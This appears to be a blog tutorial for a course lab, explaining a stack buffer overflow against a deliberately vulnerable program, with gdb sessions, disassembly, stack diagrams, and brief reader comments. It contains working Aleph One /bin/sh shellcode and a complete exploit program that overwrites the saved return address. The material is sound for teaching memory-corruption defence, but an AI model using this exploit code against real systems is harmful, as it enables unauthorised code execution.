Suggested readings :
Smashing The Stack For Fun And Profit
RMS’s gdb Tutorial
We will try to explain most of the concepts in this part (Target 1) and should serve as reference for other parts (Targets 2 to 5). We hope that understanding this part thoroughly will make (solving) other parts easier. We also assume that you have read the suggested readings above.
Examining /tmp/target1 in Detail
code of executable /tmp/target1 (target1.c) :
#include <stdio.h> #include <stdlib.h> #include <string.h> int bar(char *arg, char *out) { strcpy(out, arg); return 0; } int foo(char *argv[]) { char buf[256]; bar(argv[1], buf); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "target1: argc != 2\n"); exit(EXIT_FAILURE); } foo(argv); return 0; }
The code above is exploitable since there’s no check as to the length of argv[1] (arg in bar function) in foo function and may be longer than buf[256]. To overflow it, argv[1]‘s length must be greater than 256. The code below is a sample program that can exploit the code above. The program (./sploit1) calls the executable (/tmp/target1) above with an argument (aaaa) as data to argv[1], i.e. ./sploit1 executes /tmp/target1 aaaa in the environment shell using execve function.
modified code of executable ./sploit1 (shellcode.h and sploit1.c respectively) :
/* * Aleph One shellcode. */ static char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
#include #include #include #include #include "shellcode.h" #define TARGET "/tmp/target1" int main(void) { char *args[3]; char *env[1]; char buf[265]; int i; // this loop will modify contents of buf for(i = 0; i < 5; i++) { if(i < 4) { *(buf + i) = 'a'; } else { *(buf + i) = '\x00'; // terminate with null } } args[0] = TARGET; args[1] = buf; args[2] = NULL; env[0] = NULL; if (0 > execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
For now, we will use aaaa as data to examine /tmp/target1 memory-wise. Use gdb to execute sploit1 and to use symbol file of target1 with command, gdb -e sploit1 -s /tmp/target1 (this is sort of indirectly executing command /tmp/target1 aaaa on the shell through sploit1). Don’t forget to catch exec before running the program with run command.
user@box:~/pp1/sploits$ gdb -e sploit1 -s /tmp/target1 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) catch exec Catchpoint 1 (exec) (gdb) run Starting program: /home/user/pp1/sploits/sploit1 Executing new program: /proc/2824/exe /proc/2824/exe: Permission denied.
Set breaks at functions main, foo, and bar.
(gdb) break main Breakpoint 1 at 0x804848c: file target1.c, line 19. (gdb) break foo Breakpoint 2 at 0x804845c: file target1.c, line 14. (gdb) break bar Breakpoint 3 at 0x804843a: file target1.c, line 7.
Continue running the program with continue command and the program should stop at main (since we set a break at main). We can inspect main‘s frame with info frame command.
(gdb) continue Continuing. [New process 2824] [Switching to process 2824] Breakpoint 2, main (argc=2, argv=0xbfffff24) at target1.c:19 19 target1.c: No such file or directory. in target1.c (gdb) info frame Stack level 0, frame at 0xbffffe90: eip = 0x804848c in main (target1.c:19); saved eip 0xb7e98455 source language c. Arglist at 0xbffffe88, args: argc=2, argv=0xbfffff24 Locals at 0xbffffe88, Previous frame's sp at 0xbffffe84 Saved registers: ebp at 0xbffffe88, eip at 0xbffffe8c
Continue running the program and examine foo‘s frame.
(gdb) continue Continuing. Breakpoint 3, foo (argv=0xbfffff24) at target1.c:14 14 in target1.c (gdb) info frame Stack level 0, frame at 0xbffffe70: eip = 0x804845c in foo (target1.c:14); saved eip 0x80484d3 called by frame at 0xbffffe90 source language c. Arglist at 0xbffffe68, args: argv=0xbfffff24 Locals at 0xbffffe68, Previous frame's sp is 0xbffffe70 Saved registers: ebp at 0xbffffe68, eip at 0xbffffe6c
Let’s also examine variables and parameters of foo‘s frame with x command.
(gdb) x buf 0xbffffd68: 0x07b1ea71 (gdb) x 0xbffffe68 0xbffffe68: 0xbffffe88 (gdb) x 0xbffffe6c 0xbffffe6c: 0x080484d3 (gdb) x 0xbffffe70 0xbffffe70: 0xbfffff24
Results of gdb tell us that foo‘s frame can be visualize as :
[ -local_var- ][ -ebp- ][ -eip- ][ -params- ] [bffffd-- ][bffffe-- ][bffffe-- ][bffffe-- ] -> first 3 bytes of addresses [68|69|6a|6b|... ...|67][68|69|6a|6b][6c|6d|6e|6f][70|71|72|73] -> last bytes of addresses [71|ea|b1|07|... ...][88|fe|ff|bf][d3|84|04|08][24|ff|ff|bf] -> data |------256 bytes-------||--4 bytes--||--4 bytes--||--4 bytes--|
Local variable buf starts at address 0xbffffd68. Counting 256 bytes (buf[256]) after will be ebp (sfp) at address 0xbffffe68. 4 bytes after at 0xbffffe6c will be eip (ret). And parameter *argv[] (pointer to argv which is in 0xbfffff24) will be at 0xbffffe70. From here we confirmed c‘s stack frame layout.
Continue running the program and examine bar‘s frame.
(gdb) continue Continuing. Breakpoint 4, bar (arg=0xbfffffea "aaaa", out=0xbffffd68 "q��\a\003") at target1.c:7 7 in target1.c (gdb) info frame Stack level 0, frame at 0xbffffd50: eip = 0x804843a in bar (target1.c:7); saved eip 0x8048476 called by frame at 0xbffffe70 source language c. Arglist at 0xbffffd48, args: arg=0xbfffffea "aaaa", out=0xbffffd68 "q��\a\003" Locals at 0xbffffd48, Previous frame's sp is 0xbffffd50 Saved registers: ebp at 0xbffffd48, eip at 0xbffffd4c (gdb) x 0xbffffd48 0xbffffd48: 0xbffffe68 (gdb) x 0xbffffd4c 0xbffffd4c: 0x08048476 (gdb) x 0xbffffd50 0xbffffd50: 0xbfffffea (gdb) x 0xbffffd54 0xbffffd54: 0xbffffd68
We can visualize bar‘s frame as :
[ -ebp- ][ -eip- ][ -params- ] [bffffd-- ][bffffd-- ][bffffd-- ] -> first 3 bytes of addresses [48|49|4a|4b][4c|4d|4e|4f][50|51|52|53|54|55|56|57] -> last bytes of addresses [68|fe|ff|bf][76|84|04|08][ea|ff|ff|bf|68|fd|ff|bf] -> data
Note that bar‘s frame has no local variables and we can confirm that with its (target1.c) code. We also confirmed that stack frames grow leftwards, i.e. they grow towards lower address space. Results of gdb tell us that address space of bar‘s frame (starts at 0xbffffd48) is lower than that of foo’s (starts at 0xbffffd68) and main’s frame (starts at 0xbffffe88), knowing that main function calls foo function which in turn calls bar function.
EBP(SFP – Stack Frame Pointer) and EIP(RET) Workings
From the previous section, ebp in bar‘s frame is at 0xbffffd48 which points to address oxbffffe68. Examining foo‘s frame, that address (0xbffffe68) is actually foo‘s ebp which in turn points to main‘s ebp at 0xbffffe88. From here, we confirmed that in the called function‘s frame, pointer to the calling function‘s frame is stored in its (called function‘s) ebp.
Also, eip in bar‘s frame is at 0xbffffd4c which points to address 0x08048476. Examining foo‘s assembly below, that address (0x08048476) is actually the address after a call to bar function (see lines 44 and 45 below). This is also true to main calling foo. We can confirm that foo‘s ebp will point to 0x080484d3 (see lines 25 and 26 below). From here, we confirmed that in the called function‘s frame, pointer to the calling function‘s next instruction is stored in its (called function‘s) eip.
assembly of main, foo, and bar with disassemble command :
(gdb) disassemble main Dump of assembler code for function main: 0x08048478 <main+0>: lea 0x4(%esp),%ecx 0x0804847c <main+4>: and $0xfffffff0,%esp 0x0804847f <main+7>: pushl -0x4(%ecx) 0x08048482 <main+10>: push %ebp 0x08048483 <main+11>: mov %esp,%ebp 0x08048485 <main+13>: push %ecx 0x08048486 <main+14>: sub $0x14,%esp 0x08048489 <main+17>: mov %ecx,-0x8(%ebp) 0x0804848c <main+20>: mov -0x8(%ebp),%eax 0x0804848f <main+23>: cmpl $0x2,(%eax) 0x08048492 <main+26>: je 0x80484c5 <main+77> 0x08048494 <main+28>: mov 0x80496d8,%eax 0x08048499 <main+33>: mov %eax,0xc(%esp) 0x0804849d <main+37>: movl $0x13,0x8(%esp) 0x080484a5 <main+45>: movl $0x1,0x4(%esp) 0x080484ad <main+53>: movl $0x80485b0,(%esp) 0x080484b4 <main+60>: call 0x8048358 <fwrite@plt> 0x080484b9 <main+65>: movl $0x1,(%esp) 0x080484c0 <main+72>: call 0x8048368 <exit@plt> 0x080484c5 <main+77>: mov -0x8(%ebp),%edx 0x080484c8 <main+80>: mov 0x4(%edx),%eax 0x080484cb <main+83>: mov %eax,(%esp) 0x080484ce <main+86>: call 0x8048453 <foo> 0x080484d3 <main+91>: mov $0x0,%eax 0x080484d8 <main+96>: add $0x14,%esp 0x080484db <main+99>: pop %ecx 0x080484dc <main+100>: pop %ebp 0x080484dd <main+101>: lea -0x4(%ecx),%esp 0x080484e0 <main+104>: ret End of assembler dump. (gdb) disassemble foo Dump of assembler code for function foo: 0x08048453 <foo+0>: push %ebp 0x08048454 <foo+1>: mov %esp,%ebp 0x08048456 <foo+3>: sub $0x118,%esp 0x0804845c <foo+9>: mov 0x8(%ebp),%eax 0x0804845f <foo+12>: add $0x4,%eax 0x08048462 <foo+15>: mov (%eax),%edx 0x08048464 <foo+17>: lea -0x100(%ebp),%eax 0x0804846a <foo+23>: mov %eax,0x4(%esp) 0x0804846e <foo+27>: mov %edx,(%esp) 0x08048471 <foo+30>: call 0x8048434 <bar> 0x08048476 <foo+35>: leave 0x08048477 <foo+36>: ret End of assembler dump. (gdb) disassemble bar Dump of assembler code for function bar: 0x08048434 <bar+0>: push %ebp 0x08048435 <bar+1>: mov %esp,%ebp 0x08048437 <bar+3>: sub $0x8,%esp 0x0804843a <bar+6>: mov 0x8(%ebp),%eax 0x0804843d <bar+9>: mov %eax,0x4(%esp) 0x08048441 <bar+13>: mov 0xc(%ebp),%eax 0x08048444 <bar+16>: mov %eax,(%esp) 0x08048447 <bar+19>: call 0x8048348 <strcpy@plt> 0x0804844c <bar+24>: mov $0x0,%eax 0x08048451 <bar+29>: leave 0x08048452 <bar+30>: ret End of assembler dump.
Buffer Overflow
To overflow the buffer (buf), our input buffer to /tmp/target1 must be greater than 256. Adding 4 bytes more will overflow foo‘s buf and will overwrite foo‘s ebp in bar‘s strcpy function. Add another 4 bytes more and we will overwrite foo‘s eip. If the buffer will be null(‘\x00’) terminated, we need at least 265 bytes of input to buffer overflow. Our goal is to overwrite foo‘s eip (next instruction pointer) and make it point to the the start of foo‘s buf which is at 0xbffffd68 and which contains the shellcode.
We can visualize the buffer overflow as :
[ -local_var- ][ -ebp- ][ -eip- ][ -params- ] [bffffd-- ][bffffe-- ][bffffe-- ][bffffe-- ] -> first 3 bytes of addresses [68|69|6a|6b|... ...|67][68|69|6a|6b][6c|6d|6e|6f][70|71|72|73] -> last bytes of addresses [71|ea|b1|07|... ...][88|fe|ff|bf][d3|84|04|08][24|ff|ff|bf] -> data [<nop>... <shellcode>][<filler>...][68|fd|ff|bf][00| ] -> buffer overflow |--------------------265 bytes-----------------------|
Now edit sploit1.c to reflect buffer overflow data above and compile.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" #define TARGET "/tmp/target1" int main(void) { char *args[3]; char *env[1]; char buf[265]; int i; int addr; // this loop will modify contents of buf addr = 0xbffffd68; for(i = 0; i < 265; i++) { if(i < (256-strlen(shellcode))) { *(buf + i) = '\x90'; // <nop> } else if(i < 256) { *(buf + i) = shellcode[i - 256 + strlen(shellcode)]; // <shellcode> } else if(i < 260) { *(buf + i) = '\x90'; // <ebp> } else if(i < 264) { *(buf + i) = addr >> ((i-260)*8); // <eip> } else { *(buf + i) = '\x00'; // terminate with null } } args[0] = TARGET; args[1] = buf; args[2] = NULL; env[0] = NULL; if (0 > execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
Running ./sploit1 will still not work, since we added variable addr (line 15 above) which effectively changes main‘s stack frame and theoretically should shift left (to lower address space) both foo‘s and bar‘s stack frame. So, check addresses again and you’ll need to change buf (variable addr) address from 0xbffffd68 to 0xbffffc68.
user@box:~/pp1/sploits$ gdb -e sploit1 -s /tmp/target1 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) catch exec Catchpoint 1 (exec) (gdb) run Starting program: /home/user/pp1/sploits/sploit1 Executing new program: /proc/3065/exe /proc/3065/exe: Permission denied. (gdb) break foo Breakpoint 2 at 0x804845c: file target1.c, line 14. (gdb) continue Continuing. [New process 3065] [Switching to process 3065] Breakpoint 2, foo (argv=0xbffffe24) at target1.c:14 14 target1.c: No such file or directory. in target1.c (gdb) info frame Stack level 0, frame at 0xbffffd70: eip = 0x804845c in foo (target1.c:14); saved eip 0x80484d3 called by frame at 0xbffffd90 source language c. Arglist at 0xbffffd68, args: argv=0xbffffe24 Locals at 0xbffffd68, Previous frame's sp is 0xbffffd70 Saved registers: ebp at 0xbffffd68, eip at 0xbffffd6c (gdb) x buf 0xbffffc68: 0x07b1ea71
The code (sploit1.c) should now work.
I would like to exchange links with your site blogs.hulmahan.com.ph
Is this possible?
Why did you take the size of buffer as 265??
I think we just need 8 extra bytes 4 to overwrite frame pointer and other 4 for return address.
Or you just need it for storing null string?
‘I think we just need 8 extra bytes 4 to overwrite frame pointer and other 4 for return address.’
– true
‘Or you just need it for storing null string?
– not necessary and can be omitted